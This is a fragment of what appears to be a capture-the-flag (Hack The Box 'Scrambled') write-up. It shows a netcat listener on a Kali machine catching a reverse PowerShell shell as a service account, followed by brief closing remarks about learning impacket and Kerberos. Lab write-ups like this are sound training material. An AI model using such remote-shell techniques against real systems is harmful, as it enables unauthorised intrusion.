┌──(puck㉿kali)-[~/htb/scrambled] └─$ rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.168] 64562 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\programdata> whoami whoami scrm\sqlsvc PS C:\programdata>
root.txt
See solving this box from a Windows VM
Conclusion
I’ve spent a lot of time to figure out how to use impacket correctly 😂. It was cool to learn more about Kerberos authentication I’ve enjoyed the box a lot!